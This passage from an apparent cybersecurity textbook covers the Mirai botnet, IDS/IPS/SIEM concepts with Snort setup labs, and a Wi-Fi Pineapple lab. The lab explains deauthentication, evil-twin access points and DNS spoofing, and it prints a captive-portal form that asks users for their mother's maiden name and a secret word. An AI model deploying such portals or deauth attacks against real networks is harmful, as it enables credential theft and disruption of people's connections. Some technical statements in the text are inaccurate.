IoT devices. These names and passwords are usually the default ones that come from the
manufacture. Sadly, many people do not change the default credentials and allow hackers
easy access. This botnet uses an automated script to scan for vulnerable IoT devices/objects,
and uses the list of default credentials to login once found. Another interesting feature of
the Mirai botnet is the ability to kick out the existing bot on the device and establish a new
one. This causes hackers to often fight for control over the same botnets. In order to cover
their tracks better, the creators of the Mirai botnet made the source-code available to the
public. This was done so that authorities have a harder time determine who is using it.
Script kiddies have used this botnet to devastating effect, inadvertently masking the activity
of hackers.
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Below is a screenshot of the message the creator of the Mirai botnet left for the public:

Authorities are currently overwhelmed by the effectiveness of the Mirai botnet. The IoT has
ushered in a new age of botnets, that cyber security professionals must prepare themselves
for.

Summary
Having a solid understanding of what the IoT is has given the reader a better
comprehension of its impact. This chapter has defined some of the security challenges
facing the IoT as it develops. As a cyber security professional, it is important to have a clear
understanding of how to address IoT security issues properly. Becoming familiar with web-
app pen testing tools is critical. We recommend to practice the labs we created in previous
chapters to sharpen your skills in preparation for IoT security. In Chapter 17, Offensive
Security and Threat Hunting, we will discuss advanced methods that can be deployed to
protect against IoT attacks. Chapter 15, Detection Systems,  will focus on intrusion detection
systems and how they are used for cyber security.
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15
Detection Systems

What is an intrusion system? Typically, it comes in two flavors and a few different types.
The basic type is either host based, network-based, or physical; the flavors are intrusion
detection system (IDS) and intrusion prevention system (IPS). The goal of these types of 
devices are generally described as the act of detecting actions that is attempting to
compromise the confidentiality, integrity, or availability of an organizations resource. If we
are looking at specifics, the goal of intrusion detection is to detect or identify entities
attempting to subvert current security controls; while intrusion prevention is similar to
detect with the added ability to block or prevent. The key difference between the IDS and
IPS is the ability to act.

IDS
An IDS is a security technology originally built for detecting vulnerability exploits against a
target application or computer. It can be installed on a network, or on a host, or included as
part of a physical environment.

IPS
An IPS follows the same process of gathering and identifying data and behavior; the
difference is the added ability to act or block (prevent) activity. This can be done with
network, host, and physical intrusion detection systems.
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Host based
The purpose of a host-based intrusion detection system (HIDS) is to identify behavior on
individual hosts which they are installed on. Behaviors typically monitored are attempts to
identify unauthorized and anomalous behavior on that specific host. A HIDS typically
installed an agent that is used to monitor each system and alerts on local OS and application
activity. The locally-installed agent uses a combination or algorithm that uses signatures,
rules, and heuristics to identify unauthorized or unusual activity. Keep in mind that a HIDS
is an IDS and its role is only passive; meaning that it is only gathering, identifying, logging,
and alerting. An example of a HIDS would be Tripwire and open source host-based
intrusion detection system (OSSEC), to name just two of many.

Network-based
A network-based intrusion detection system (NIDS) is a virtual or physical device that is
applied to the network as a whole and not an individual device. It is very similar to HIDS
but the main difference is that the monitoring is based solely on network traffic. Instead of
installing an agent on a machine, the NIDS uses using either a network tap, span port, or
hub collects packets that traverse a given network. NIDS will use the captured data from
the network so that the IDS system can process and flag any suspicious traffic. Remember
that a NIDS is an IPS and thus doesn't act it just monitors. A great example of a NIDS is
Snort, and we will be using Snort later in this chapter.

Physical
A physical intrusion detection system (PIDS) is the controls in place to identify physical
threats. PIDS are used in detection, most often seen injunction with physical controls. PIDS
are put in place to ensure confidentiality, integrity, and availability of resources on a
physical level. PIDS is an odd type of intrusion system because, in many cases, PIDS can
also act as a prevention method as well. Examples of PIDS are as follows:

Security guards
Security cameras
Access control systems (card and biometric)
Firewalls
Man traps
Motion sensors
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Summary of differences
IDS IPS

Placement Out-of-band or not in the direct
lines of communication

In-band or in the direct pathway of
communication

System type Passive (monitoring and notify) Active (monitoring and ability to take
action)

Detection
mechanisms

Signature detection
Exploit facing

Statistical anomaly-based detection
Signature detection
Exploit facing or vulnerability
facing

Keep in mind that an IDS listens and reports, but does not take any action, while the IPS
listens and takes action if criteria is met.

Why?
A common way of looking at network security in terms of intrusion system is:

Security = Visibility + Control

Typically, the network and security teams place controls on a network, but how do they
know if those controls are working if there is no visibility on the network? That is why we
use IDS/IPS. IDS/IPS plays an important role as it acts as one of many complementary layers
of IT security technology. While typically several security layers exist because no one layer
can provide all the security measures itself.

While firewalls and other security devices do play a role in network security there are a few
items that IDS/IPS systems do that other appliances don't do. For instance, other devices
cannot do:

Identify anomalous or patterns of traffic
Identify patterns, called signatures, of malicious
Identify changes in the security health or state of organization devices

The business benefit IDS/IPS provides is reducing the chance of missing security threats.
Though from the possible attacker side it is a layer of protection to keep in mind because
this is a monitoring system that will be searching for them.
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Who and when?
Who uses an IDS/IPS? Any organization might be using it, though the cost point is a main
post of consideration. The return on investment calculation for IDS/IPS is predicated based
upon being able to identify mission critical elements, along with the estimated financial loss
associated within each security threat. Looking at the likelihood of each event and then
comparing the life cycle cost of IDS/IPS against the estimated financial loss associated with
a breach.

A major consideration is the cost of managing and tuning out false positives generated by
IDS/IPS. An attacker can use the false-positives as a disguise to gain access, or could use this
as a diversion.

A common question is when to use each type of IDS/IPS. One must remember that security
is a layered approach and thus each security tool as its place but understanding what your
trying to accomplish is the first step. Active monitoring of the networking is critical because
its gives the engineer a way to see traffic, though if its comprised it gives an attack access to
that information. If the network is more than a few computers, it's recommend that you
look at least running and IDS. Once the network grows large enough that just monitoring is
not enough, one may want the ability to perform actions such as blocking that's when an
IPS would come into play. Though, with programs such as Snort, there really is no reason
why not to implant an IPS as the software costs nothing but there is time involved.

Security Information and Event Management
(SIEM)
SIEM is a suite of software products and services that combine security information
management (SIM) and security event management (SEM). SIEM provides real-time
analysis of security alerts generated by network hardware and applications. It provides a
centralized point for alerts and checking the heath of network security. Many IDS/IPS have 
built tools so they can communicate and provide real time information for those protecting
the network.

SIEM gives a holistic, unified view into not only infrastructure but also workflow,
compliance and log management. A SIEM can provide a multitude of capabilities and
services efficiently.
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SIEM provides core features as explained following:

Event and log collection: Comes in many forms, especially with in-house
applications, but the essences is log and event collection for review and
correlation
Layered centric views: Provides a form of dashboards and customizing "views,"
allowing security professional to quickly access the information that they need
Normalization: This is a two-part function. It includes translating jargon to
readable data that can be displayed, and mapping data to user or vendor-defined
classifications/characterizations
Correlation: Essentially gives the data context and forms relationships based on
either predefined or customized rules, architecture and alerts. This can be either
historical or real-time
Adaptability or scalability: This allows the SIEM to grown and scale regardless
of source vendor, format, type, change, or compliance requirement
Reporting and alerting: Provides automated verification of continuous
monitoring, trends, and auditing
Log management: Allowing the capability for storing event and logs into a
central location; allowing the application of compliance storage or retention
requirements if required by the organization

The foundation of SIEM is based on log, and event data collection. Taking a look at all of the
tools, logs, events that might occur when discussing intrusion system, potentially, there are
different portals, packets, logs, methods of collection, UIs and can also be analyzed
differently, depending on who might be need information from the SIEM. An attacker will
need to understand the many defense, monitoring, and defensive tools out there that are
used to track them down.

Splunk
Splunk enterprise is a SIEM software developed by the Splunk cooperation. Splunk has two
different versions; Splunk enterprise is a locally installed software, and the other is the
Splunk cloud service which is nearly identical to the enterprise version, just cloud-based.
Splunk gathers data from a number of different sources including security controls,
operation system, and applications. It uses this data and performs analysis to identity
activity or operation that violates your security policies or is deemed suspicious. Once
Splunk identifies suspicious or unwanted activity, it can send an alert to the operator or try
and stop the attack itself before the attack is completed, depending on how it is configured.
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Splunk enterprise includes all the basic SIEM capabilities with the added benefit of add-ons
and apps. The add-ons and apps fall into six categories, they are, DevOps, IT Operations,
Security Fraud & Compliance, Business Analytics, IoT and Industrial Data, and Utilities,
these can be downloaded from https://splunkbase.splunk.com. Splunk can also support
third-party apps such as ThreatStream or Palo Alto Networks to name a few. Splunk also
has reporting capabilities for various security compliance initiatives including but not
limited too:

Sarbanes-Oxley Act
Payment Card Industry Data Security Standard
Health Insurance portability and Accountability Act
Federal Information Security Management Act (FISMA)

Alert status
There are four types of alert statuses that you might come across. These alerts can indicate
everything is operating normally or that a program or operation is behaving suspiciously.
The four status types are: false positive, false negative, true negative (false false), and true
positive (positive positive):

False positive: This is often called a "false alarm", or any normal behavior that is
seen as malicious or unwanted but isn't. An example of this would be your e-mail
service sending a legitimate e-mail to the spam folder instead of your inbox. The
detection software got a false positive on your e-mail and, not knowing any
better, thought it was unwanted spam.
False negative: This is the opposite of a false positive, where a malicious or
unwanted action slips past. False negatives are much more dangerous than false
positives. An example would be an IDS or IPS not recognizing the type of attack
or program a hacker is using and letting the traffic through without alerting on it.
True negative/false false: This is any normal behavior that is not flagged as
malicious or unwanted. Basically, the IDS or IPS doesn't see the programs or
traffic as suspicious and allows it to operate normally. An example would be
whatever program you are using is able to access what it needs to without
throwing up at warning flag false positive.
True positive/positive positive: This is any malicious or unwanted behavior that
is flagged or blocked thus preventing that program from causing any damage to
your system. An example would be a hacker trying some sort of attack (MITM,
DDoS, and so on) but your security identifies the attack and alerts your or blocks
the attack altogether.

https://splunkbase.splunk.com
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IDS versus IPS
The differences between IPS and IDS are the way they handle intrusions or attacks and at
what level these attacks are taking place. IDSs monitor all inbound and outbound network
activity identifying suspicious traffic that indicate an attack is taking place. It then alerts the
administrator of the attack and lets you take the proper action based on the type of attack.
IPSs work all the way from the system kernel down to the network data packets. It not only
identifies the attack or malicious program but it actively works to stop it. Another
difference that is IDSs and IPSs look for known intrusion signatures, but IPSs also look for
unknown attacks based on its database of generic attack behaviors. This allows IPSs to take
action even if it doesn't specifically know what a program is doing it just knows by the way
it is behaving it is unwanted.

You are thinking "IPSs are far better than IDSs, so what is the point in keeping IDSs
around?" The first reason is cost: an IDS setup is much cheaper than an IPS setup which for
small to medium sized business is much better for their needs. The second reason is that
IDS has been around for a long time (in computer years) and is a proven technology
whereas IPS is a much younger technology and less established. IDS's shortfalls can be
largely negated with proper management, training, and implementation. Lastly, you have
to look at your existing network infrastructure and whether or not it can handle an IPS
setup or if an IDS setup would be better to reduce the strain on your network.

Snort as an IPS
Most companies that choose not to run an IDS do so because of the cost. Thankfully there is
Snort. Snort is sometimes referred to the poor man's IDS but that is misleading. Snort is an
open source yet powerful software used by many corporations and government sector
organizations. Snort was developed for use in Linux systems but has been ported for use in
numerous platforms including Windows, Solaris/SunOS, BSD Unix, and Mac OS X to name
a few.

Snort has three main modes it operates in: NIDS, Packet Sniffer, and Packet logger. It has
other modes as well (In-line, Real time, or Schedule checks) but these are the main three. In
NIDS, Snort works to detect potential network intrusions using a rule-based intrusion-
detection mechanism. Packet Sniffer enables it to display all network traffic to the user and
provides flexibility to display entire packets or certain header information; this is great for
diagnosing network issues. Packet logger is the same as Packet Sniffer, but without
displaying the data on your screen; it instead places all the data in a traffic data file for later
review.
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Snort, like any rule-based software, needs to be updated regularly to prevent your rules
from becoming dated. Just like antivirus software, if you don't update it you can be prone to
new security threats. Snort's website offers the most up to date rulebase at
http://www.snort.org/dl/rules/. The main benefit of Snort being open-source is it allows
security professionals to develop new rules and add them to the community's knowledge
base. Like any intrusion-detection software, Snort has to be tailored to your specific needs;
it is not a install and forget software. Snort is very easy to install and get running but make
sure to go through line by line to make sure it integrates with your environment properly.

How?
How can we apply this knowledge? We have prepared a simple lab that can be used to
install Snort in Kali Linux. While Snort can be installed on many different operating
systems, our example is in Kali.

Lab 1-installing Snort and creating ICMP
rules lab
First let's make sure our Kali is up to date:

In a Terminal session, type the following commands to verify Kali is updated and1.
make sure to install Snort:

      # apt-get update
      # apt-get install snort

You may get a few messages. Go ahead and select to install.2.

http://www.snort.org/dl/rules/
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Once the install is complete, you will get a Configuring snort dialog box as3.
shown following:

Verify the IP address and if correct select <Ok> and allow the install process to4.
finish.
Once Snort is installed, update again just to make sure we are using the most up-5.
to-date software.
Verify the Snort installation: Verify the installation by typing the following6.
command in a Terminal session:

      # snort --version
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Help with Snort: If you need help with snort type the following command in a7.
Terminal session:

      # snort --help

The screenshot is only a partial output of the snort --help command:

Lab 2-create the following snort.conf and
icmp.rules files
In this lab, you will create and setup configuration and rules files for Snort. These files
determine how Snort will operate. After these files are in place Snort will be able to fully
protect your system:

Open the configuration file of Snort in a Terminal session type the following1.
command:

      # leafpad /etc/snort/snort.conf
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Check the configuration file and determine if the ICMP rules are included or not.2.
If not, include the following line:

      include /etc/snort/rules/icmp.rules

Open the ICMP rules file and include the rule shown following:3.

      # leafpad /etc/snort/rules/icmp.rules

Include the following mentioned line into icmp.rule file:4.

      alert icmp any any -> any any (msg:"ICMP Packet"; sid:477;
      rev:3;)

Go ahead and save and close.5.

The preceding basic rule does alerting when there is an ICMP packet (ping).

The following is the structure of the alert:

<Rule Actions> <Protocol> <Source IP Address> <Source Port> <Direction
Operator> <Destination IP Address> <Destination Port> (rule options)

Rule options
The following are the rule options:

Structure Example

Rule Actions alert

Protocol icmp

Source IP Address any

Source Port any

Direction Operator ->

Destination IP Address any
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Destination Port any

(rule options) (msg: ICMP Packet ; sid:477; rev:3;)

Lab 3-execute Snort
Execute Snort from command line, as mentioned following. This activates Snort so it can
start protecting your system:

# snort -c /etc/snort/snort.conf -l /var/log/snort/

Here, -c for rules file and -l for log directory.

Show log alert
The following is the example of a Snort alert for this ICMP rule:

root@vishnu:~# head /var/log/snort/alert
[**] [1:2925:3] INFO web bug 0x0 gif attempt [**]
[Classification: Misc activity] [Priority: 3]
12/02-17:08:40.479756 107.20.221.156:80 -> 192.168.1.64:55747
TCP TTL:42 TOS:0x0 ID:14611 IpLen:20 DgmLen:265 DF
***AP*** Seq: 0x6C1242F9 Ack: 0x74B1A5FE Win: 0x2E TcpLen: 32
TCP Options (3) => NOP NOP TS: 1050377198 1186998
[**] [1:368:6] ICMP PING BSDtype [**]
[Classification: Misc activity] [Priority: 3]
12/02-17:09:01.112440 192.168.1.14 -> 192.168.1.64

Alert explanation
A couple of lines are added for each alert, which includes the following:

Message is printed in the first line
Source IP
Destination IP
Type of packet, and header information
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If you have a different interface for the network connection, then use -dev -i option. In
this example, my network interface is eth0:

# snort -dev -i eth0 -c /etc/snort/snort.conf -l /var/log/snort/

Lab 4-execute Snort as Daemon
Executing as a Daemon allows Snort to operate in the background as a service. It also allows
Snort to automatically restart in case of failure. You can activate it by using the -D argument
in the command syntax:

# snort -D -c /etc/snort/snort.conf -l /var/log/snort/

Default rules can be downloaded from:
https://www.snort.org/downloads/#rule-downloads

Summary
So, what do you need to protect your network? No one product or service can protect you
100%; it takes at combination of products and services to insure your network is secure.
Based on your specific needs, you might need physical security combined with an IDS, or
an IPS combined with a SIEM program if you don't have to worry about the physical
security. The possibilities are endless. Each network is different and each network is
designed for its own unique purpose. What you should do is evaluate the needs of your
network and implement the proper security features and implement proper training for
users and support staff. Lastly, you have to insure you stay one step ahead of the hackers
and this is accomplished by keeping your security programs up to date and your rule bases
current.

https://www.snort.org/downloads/#rule-downloads


16
Advance Wireless Security Lab

Using the Wi-Fi Pineapple
Nano/Tetra

As we explore deep into the world of wireless technology, you will find it to be much more
vast and complex than it may seem as it pushes us to focus especially on the security
measures and the protection of the end user's data. We will take a short look into the history
leading to what standard Wi-Fi has become today. Next, you'll focus on learning the
fundamentals of 802.11 and the hardware, protocols, functions, and most recent
components to build extensively on your knowledge with the layer 3 devices. Once you
know how it works, our shift can now revolve into the vulnerabilities associated. The
following topic will we be about various advanced wireless security device: the Wi-fi
Pineapple Tetra and Nano, The Ubertooth, and the YardstickOne RF. This will lead to a
better understanding the details regarding the radio frequency communication between
electronic devices. We'll conclude on a related matter regarding the future of Wi-Fi and the
impact it has already had throughout the world.

The history of Wi-Fi - the WLAN standard
802.11 originally started around 1985 when the US FCC released the license for the use of
the ISM band. This had a great impact on the development of industrial, scientific, and
medical radio bands technology using radio frequency and developing other applications
apart from communication purposes and systems. With the first 802.11 being capable of
processing 2 Mb at maximum bandwidth, many applications were too slow for
productivity.
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Fortunately, the IEEE were finally able to establish a new standard marking the 802.11a and
802.11b making wireless communication up to par with the Ethernet standard at the very
least. When routers and other devices were developed following the 802.11b standard, radio
signaling frequency was still unregulated. What this meant was that anything that operated
in the 2.4 GHz frequency, such as a microwave or wireless telephone, could cause
interference and reduce network speed. 802.11a didn't gain as much favor amongst
consumers given that the signal was regulated at 5 Ghz, increasing bandwidth up to 54
Mbps with the cost of requiring shorter distance between any host. The higher the
frequency, the shorter the range. By late 2002 and 2003, the 802.11g began taking over
providing the best features of preceding standards, still using 2.4 GHz frequency for
extending the signal range. 802.11g is also backward compatible with 802.11b but can
process at the same speed as the 802.11a. About six years later, the 802.11n was released and
its inclusion boosted the wireless speed communication standard up to 300 Mbps using
MIMO technology that integrated multiple antennas and that would break the data from
the signals utilizing the capability to increase the network speed. Finally, our current
newest Wi-Fi standard is 802.11ac, supporting both 2.4 Ghz and 5 Ghz on a concurrent
connection and also capable of transferring 450 mbps to 1300 Mbps and compatible with
802.11b/g/n. The IEEE 802.11 is always and already working towards adopting newer and
improved standards and elements WiMax and 802.11u or 802.11ay.

Wireless vulnerability
Wireless network are easier to infiltrate given that physical access to a network device is to
eliminate as long as the attacks is within range including ones we've already covered as the
following are possible vectors:

Network access with MAC spoofing
Spoofing packets and protocol for
Remote obstruction or manipulation of users data
Credential harvesting
Denial of service attack to specific host or the entire network
Network injection and payload delivery
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The Wi-Fi Pineapple
Alright, let's look into some attack vectors and tools that you can use with the Tetra and
Nano device that you can get from Hak5. The wireless security auditing tool's primary
functions include scanning for all wireless devices in proximity. It can focus on a specified
or AP targeting, intercept data, and report analytics. We can use it for the research and
development of potential Wi-Fi vulnerabilities, conduct penetration testing, security
auditing, or even enhancing wireless network security. The interface is fairly easy to set and
is provided through many sources online, so you'll be plunged directly into the modules.
What makes this device effective for both beginners and professionals is the intuitive design
and usability of the modules. Anyone can develop custom modules if they are experienced
with programming, but there are already plenty of modules that are provided. These
modules are tools from a variety of sources. Some of the modules that you  may discover
are from programs or tools that are already out there and use command line, which can be
difficult to learn for beginners. So, with the bootstrap framework, these tools can now have
a GUI. Not only that, but you can easily switch in between modules off hand providing
efficiency.

For penetration testing
When conducting penetration testing for network intrusion, your primary goal is to see
what you can access and compromise. We'll identify different techniques and attack vectors
to find vulnerabilities in a safe network to test on. We'll demonstrate possible ways using
the Pineapple device to classify potential vulnerabilities. Keep in mind that this is a tool that
can be used for protection as well as harm or used for illegal purposes, so just a reminder
you must have permission and/or a safe test network on. We would like to mention to some
readers who may wonder why this device isn't banned or illegal, since it is used for
hacking, that besides the fact that the following attacks could be conducted using just a
laptop, I like to use an analogy of using a knife which is something most people used for
cooking and that some have used for hurting.

Lab 1-how to set up
When you unbox the equipment, there should be a three way USB connector, go ahead and
use that to connect the Pineapple device to your computer:

Go ahead and launch a browser so we can access the portal (it is recommended to1.
use an updated Chrome or Firefox browser).



Advance Wireless Security Lab Using the Wi-Fi Pineapple Nano/Tetra

[ 262 ]

In the address bar go ahead and type in the following IP and2.
port 172.16.42.1:1471 in the URL bar. You should see the following page:

This should appear when you submit 172.16.42.1:1471:3.



Advance Wireless Security Lab Using the Wi-Fi Pineapple Nano/Tetra

[ 263 ]

After pressing Continue you be guided through the next step.4.
You need to have to download the current firmware, which is provided through5.
Hak5; you'll be instructed to upload it to the Pineapple and, once that is
completed, you should see the main interface start up.

The following URL is where you can find the latest firmware for the
Pineapple Tetra:
h t t p s ://w w w . w i f i p i n e a p p l e . c o m /d o w n l o a d s #t e t r a .

https://www.wifipineapple.com/downloads#tetra
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https://www.wifipineapple.com/downloads#tetra
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This splash page should appear after successfully loading the firmware:6.

This is what your normal access portal to the Pineapple interface will look like

The first thing you'll be presented to configure is setting up your AP and7.
management password. You'll also have to accept the software license and
EULA. Remember, this device is intended for security professionals and
researchers to test for network vulnerability. Remember that with great power
comes great responsibility and that maintaining ethics with powerful tools such
as this one is vital:
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This must be completed prior to accessing the main interface and modules
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The main dashboard--empty
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When starting off, there won't be a whole lot of details provided in the8.
dashboard. This will fill out as you enable the network that the Pineapple is
broadcasting to have a splash page from either the configuration or a module
such as Evil Portal:
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In the Configuration tab, you can enable the landing page and just copy and9.
paste your script:

This is what the Advanced option page looks like

Let's go into the Advance options really quickly. Here, you'll find several configurations
that you can modify. With Firmware Upgrade, its always good to check regularly to see if
any new bugs were fixed. The CSS allows you to customize the look of the interface. The
resource box will give you information on your memory availability, buffer, users, and
directories. The USB box allows for customization for hub options.
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Getting connected
In the Networking page, you will be able to set up the client mode connection:

Performing a scan
Under the Recon tab, you are provided with some option to scan for 2.4GHz or 5GHz or
Both signals if you use the Tetra. However, if you have the Nano you can only use the
2.4GHz. The continuous setting will collect everything in range. Perform the site surveying
(which there is a module for) and the time setting. With the time option, usually the faster
the scan the less you'll be able to pick up and vice versa.
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The following is the Scan Settings box:

A display of the Scan Setting option

After performing a scan, the following result will pop up:
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As you can see, the scan will provide the Wi-Fi name and Mac along with defining its
security and whether it has WPS and the channel that each AP is on. Also, you may notice
in MAC address there is no SSID. Those MACs actually belong to devices that are
connected to the network preceding it. You may or may not be able to pick up unassociated
devices as well.

Notice that both the SSID and MAC column can expand further providing into an Option
menu that lets you perform several tasks. If you choose to click on one of the SSIDs you
could add it to Profiling, PineAP Pool, PineAP Filter, or deauthenticate the client with
Deauth Multiplier. If you select to expand from the MAC, you may be limited to only
Profiling Pine Log Probes and PineAP Tracking and Deauth. An unassociated MAC can
only be submitted to Profiling, PineAP Filter, or Pine AP Tracking:

The preceding screenshot displays an example of expanding a SSID from the Scan Result
box. Clicking on the Deauth button will disconnect all devices from the targeted SSID.
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The following screenshot displays what you will see after expanding a specific MAC from
the Scan Result box:

The following image displays the screen you will use to deauthenicate the victim device. By
clicking on the Deauth button, you can target an individual device to disconnect from the
targeted network:
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Getting connected, managing your network, and
broadcasting Wi-Fi
If you notice that you are unable to load any modules or check for updates, its likely
because you're not connected to anything with Internet access. So, in the Networking tab
with the WiFi Client Mode box, you can wirelessly connect to a network that will be the
source access to the Internet for your access points. After selecting a network and entering
the password for it (if there is one) you will be given an IP from the specific SSID that you're
connecting to:

Through the Access Points box, define the name of your AP (which if you choose to mimic
would be called an Evil Twin), the channel to run on and whether or not you want to have a
management AP requiring your specified password for access and have the SSID showing
at all. The MAC address can also be spoofed but if you do decide to use this options, then
other settings including Client Connections may need to be inputted again.
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In Advance, you can change the webserver hostname, the routing table, and modification to
the interfaces:

The AP and MAC address setting
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Reporting data
Looking into the modules, you can easily install and manage module from Module
Manager, which is frequently updated and open to the public to develop upon. You can
install it easily, as long as you are connected to the free storage space in the Pineapple. A
short description is provided for the modules but not instructions regarding on how to use
 them. Most of the modules are made from pre-developed software that's been modified to
integrate and be utilized more easily than some were from script-base programs.

All your modules that are downloaded will be shown under the Module tab alphabetically.
When you decide to download one, you'll usually have to install all the dependencies
required to run it, which is much simpler with just clicking a button compared to having to
typing it all in as with a terminal. The interface definitely offers a much more streamline
process to provide better efficiency for the modules:
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Logging data with Pineapple
The Pineapple logs contain the captured data from different attacks and information about
Pineapple. When you select Logging from the Dashboard page, four different log options
will be available:
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As you can see from the preceding screenshot, the four logs are PineAP Log, System Log,
Dmesg, and Reporting Log.

The following screenshot displays the interface for PineAP Log. This log will show basic
information on the APs and devices that was added to PineAP filter:

Reporting data
The following screenshot displays the interface for creating and sending reports. For
example, you can format the PineAP logs into a more readable report. The reports can be e-
mailed or stored in the Pineapple.
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You can also generate configuration reports at customized time intervals:

Reporting configuration allows you to define the interval time and whether to store and or
send via mail. Report contents define what exactly you want to receive from the following:

PineAP Log (which can auto clear when info is sent)
PineAP Site Survey (with specified duration and interval)
PineAP Probing Client Report
PineAP Tracking Client Report

Enabling the landing page
So, a landing page or splash page is what you would normally see on Enterprise-level Wi-Fi
which usually uses a RADIUS Server to authenticate before allowing access onto the
network.
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Sometimes you have to log in, other times you may get a page that has the terms and
condition auto checked with a big button Use Free Wi-Fi. We wanted to provide you with a
script for a simple login form that you can copy into the Landing Page box under the
Configuration tab (script is provided in the next page). Go ahead and save it and switch it
on. Now connect another device to the access point that you have made using the Pineapple
and it should pop up with this if you used our example script or something else. Once you
press the button, you'll be directed to https://www.google.co.in/ as long as the Pineapple
device has access to the Internet:

<div  style="text-align: center;">
  <div style="box-sizing: border-box; display: inline-block; width: auto;
  max-width: 480px; background-color: #FFFFFF; border: 2px solid #0361A8;
  border-radius: 5px; box-shadow: 0px 0px 8px #0361A8; margin:
  50px auto auto;">
    <div style="background: #38ACEC; border-radius: 5px 5px 0px 0px;
    padding:  15px;">
      <span style="font-family: verdana,arial; color: #FFFFFF; font-size:
      1.00em; font-weight:bold;"> Answer the 2 questions to use this Wi-
      Fi</span></div>
    <div style="background: ; padding: 15px" id="ap_style">
  <style type="text/css" scoped>
#ap_style td { text-align:left; font-family: verdana,arial; color: #064073;
font-size: 1.00em; }
#ap_style input { border: 1px solid #CCCCCC; border-radius: 5px; color:
#666666; display: inline-block; font-size: 1.00em;  padding: 5px; }
#ap_style input[type="text"], input[type="pwd"] { width: 100%; }
#ap_style input[type="button"], #ap_style input[type="reset"], #ap_style
input[type="submit"] {
height: auto; width: auto; cursor: pointer; box-shadow: 0px 0px 5px
#0361A8; float: right; text-align:right; margin-top:
10px; margin-left:7px;}
#ap_style table.center { margin-left:auto; margin-right:auto; }
#ap_style .error { font-family: verdana,arial; color: #D41313; font-size:
1.00em; }

https://www.google.co.in/
https://www.google.co.in/
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</style>
  <form method="get" action="https://www.google.com/" >
    <input type="hidden" name="action" value="login">
    <input type="hidden" name="hide" value="">
      <table class='center'>
        <tr><td>What's your mother maiden name?</td><td><input type="text"
        name="in"></td></tr>
        <tr><td>What's the secret word?</td><td><input type="password"
        name="pwd"></td></tr>

        <tr><td>&nbsp;</td><td><input type="submit" value="IDK, Just Let Me
        In!"></td></tr>
      <tr><td colspan=2>&nbsp;</td></tr>
    </table>
  </form>
</div></div></div>

Back in the dashboard, you'll also see that the landing page was initiated and categorized
by the browsers:

The landing page once enabled

Now, let's consider the modules throughout the module manager. Here, you will see what's
available and a short description of what it does. Installing or removing only takes a few
clicks, making it quite easy to manage through using multiple tools:
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This is what you'll see in the module manager

Some essential modules to have are found in the following screenshot:
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This makes it easy to manage files in your device:

A simpler interface to use and for managing your connected clients

The following screenshot displays the interface for the Base64 encoder/decoder. You can use
it to encode text into a Base64 string or file:
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Using the decode function is useful for analyzing encoded log files
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The following screenshot displays the Status module. This gives an overview of a variety of
system information:



Advance Wireless Security Lab Using the Wi-Fi Pineapple Nano/Tetra

[ 285 ]

The preceding options are for the Responder module:
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Here is the screen that you'll see in the Paper module used for certificate management:

This is the visual representation of signal strength in range using the Signal module:
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This is Evil Portal with a live preview of our template example of a landing page:
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This is the DNS Spoof Module Settings interface:
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This is the configuration for the DEAUTH module to disconnect nearby device:
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This is what the autossh module looks like:

Summary
At the beginning of this chapter, we discussed the history of the WLAN standard and
various wireless vulnerabilities. Next, we built off this information by next introducing a
new piece of penetration testing equipment called the Pineapple. The second topic,
explained how the Pineapple is used to find vulnerabilities and conduct network
penetration testing. Next, we focused how the Pineapple was set up and configured to
connect online. Then, we covered how to perform a network scan by using the recon
functions found within the Pineapple. After the scan, we demonstrated how to log and
report captured data from modules like PineAP. Screenshots of the module interfaces were
used throughout this chapter, allowing the reader to gain applied knowledge. The
screenshots also provided a chance to observe the many different capabilities and functions
of the Pineapple. The Chapter 17, Offensive Security and Threat Hunting, will build off this
knowledge by showing how the Pineapple and other tools can be used for offensive
security.



17
Offensive Security and Threat

Hunting
The world continues to face devastating cyber-attacks on an increasing scale. A new type of
cyber security professional is needed. The mindset of how cyber security is practiced must
be changed. Highly-funded, state-sponsored hackers have shifted the dynamic of cyber
security. The stakes have never been higher or the repercussions of attacks more serious.
Cyber-attacks between nations have reached a level of intensity never previously witnessed.
History is being made from the results of cyber warfare. Government-sponsored hackers
have been given unprecedented levels of power. This power has been used to blackmail
politicians, change public opinion, control elections, and start armed conflict. To counteract
this madness, cyber security must evolve. New methods of training and using applied
knowledge will be critical in re-shaping the dynamic of cyber security.

In this chapter, we will introduce new concepts and tools relating to offensive security and
threat hunting. This chapter will build on the knowledge gained in pervious chapters, to
create a better understanding of how to use offensive security methods. After finishing this
chapter, the reader will have a different perception of cyber security. The objectives of this
chapter are to define offensive security, to demonstrate how it is applied, to define threat
hunting, to demonstrate threat hunting tools, and to explain the benefits of offensive
security over passive security. Having this knowledge will give the reader valuable new
cyber security skills. There will be a Pineapple lab with screenshots. The lab will
demonstrate the Evil Portal module, used for wireless penetration testing. It is
recommended to use virtual machines when following the lab instructions. Practicing the
lab provided in this chapter will enhance understanding of the pen testing process.
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What is offensive security?
Due to the rapid rise in cybercrime, network security has been evolving. More companies
are starting to realize that if you want to stop a hacker you must think like a hacker. This
mindset has created a new way of protecting networks, by approaching cyber security from
a different perspective. Offensive security can best be described as taking proactive
measures to neutralize and hunt down threats to a network. According to
www.techtarget.com, "offensive security measures are focused on seeking out the perpetrators and
in some cases attempting to disable or at least disrupt their operations." Practicing offensive
security involves, gathering cyber threat intelligence, using port scanning tools, deploying
honeypots, setting up intrusion detection systems, applying network sniffers, and using
threat-hunting platforms.

Offensive security also requires the study of the tools hackers use for attacks. The study of
ethical hacking is the cornerstone of offensive security methods. Ethical hacking allows for a
much greater understanding of network attacks and the tools used to carry them out. White
hat hackers and ethical hackers are often considered the same. The main purpose of ethical
hacking is to determine the vulnerabilities of a network or device and fix them. Testing for
vulnerabilities is called penetration testing or pen testing. Network auditing and hard-box
testing are also types of pen testing. Ethical hackers use the same tools malicious hackers
use to find vulnerabilities. This gives ethical hackers an advantage when deploying
defenses against malicious tools. Having detailed applied knowledge on these tools allows
ethical hackers to develop counter-hacking measures. Many of the tools used by hackers
have been covered in previous chapters. By having this knowledge, the reader can create a
threat analysis report. Having the skillsets to practice offensive security is not common
currently in the cyber security field. Most cyber security teams focus exclusively on forensic
methods and do not study hacking tools. Traditional cyber security can also be known as
passive or defensive security. The main methods of passive security involve analyzing
packet capture files, IDS alerts, and system log activity. As we learned in pervious chapters,
all this information can be manipulated or obstructed by hackers. Passive security doesn't
offer proactive methods of defense. It only addresses the aftermath of an attack, when the
company is already in a state of devastation. Offensive security takes proactive steps to shut
down an attack as it is happening and track down the attackers. Botnets are a major
problem plaguing the cyber-world.

http://www.techtarget.com/
